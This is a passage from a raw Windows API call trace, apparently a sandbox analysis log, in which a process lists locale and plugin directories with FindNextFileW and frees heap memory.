ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0200.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.876] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0200.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.876] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0200.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.876] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0200.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.876] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0200.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.876] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0200.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.877] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0200.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.877] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0200.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.877] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0200.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.877] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0200.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.878] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0200.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.878] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0200.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.878] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0200.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.878] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0200.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0200.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0200.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0200.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.880] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0200.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.880] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0200.880] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.880] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0200.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.880] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.880] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0200.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.882] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0200.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.883] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.883] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.883] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0200.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.883] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1 [0200.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.889] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0200.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.889] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0200.890] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.890] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0200.890] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0200.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.890] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.890] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0200.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.890] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0200.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.891] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0200.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.891] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0200.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.891] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0200.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.891] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0200.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.891] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0200.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.892] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0200.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.892] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0200.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.892] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, 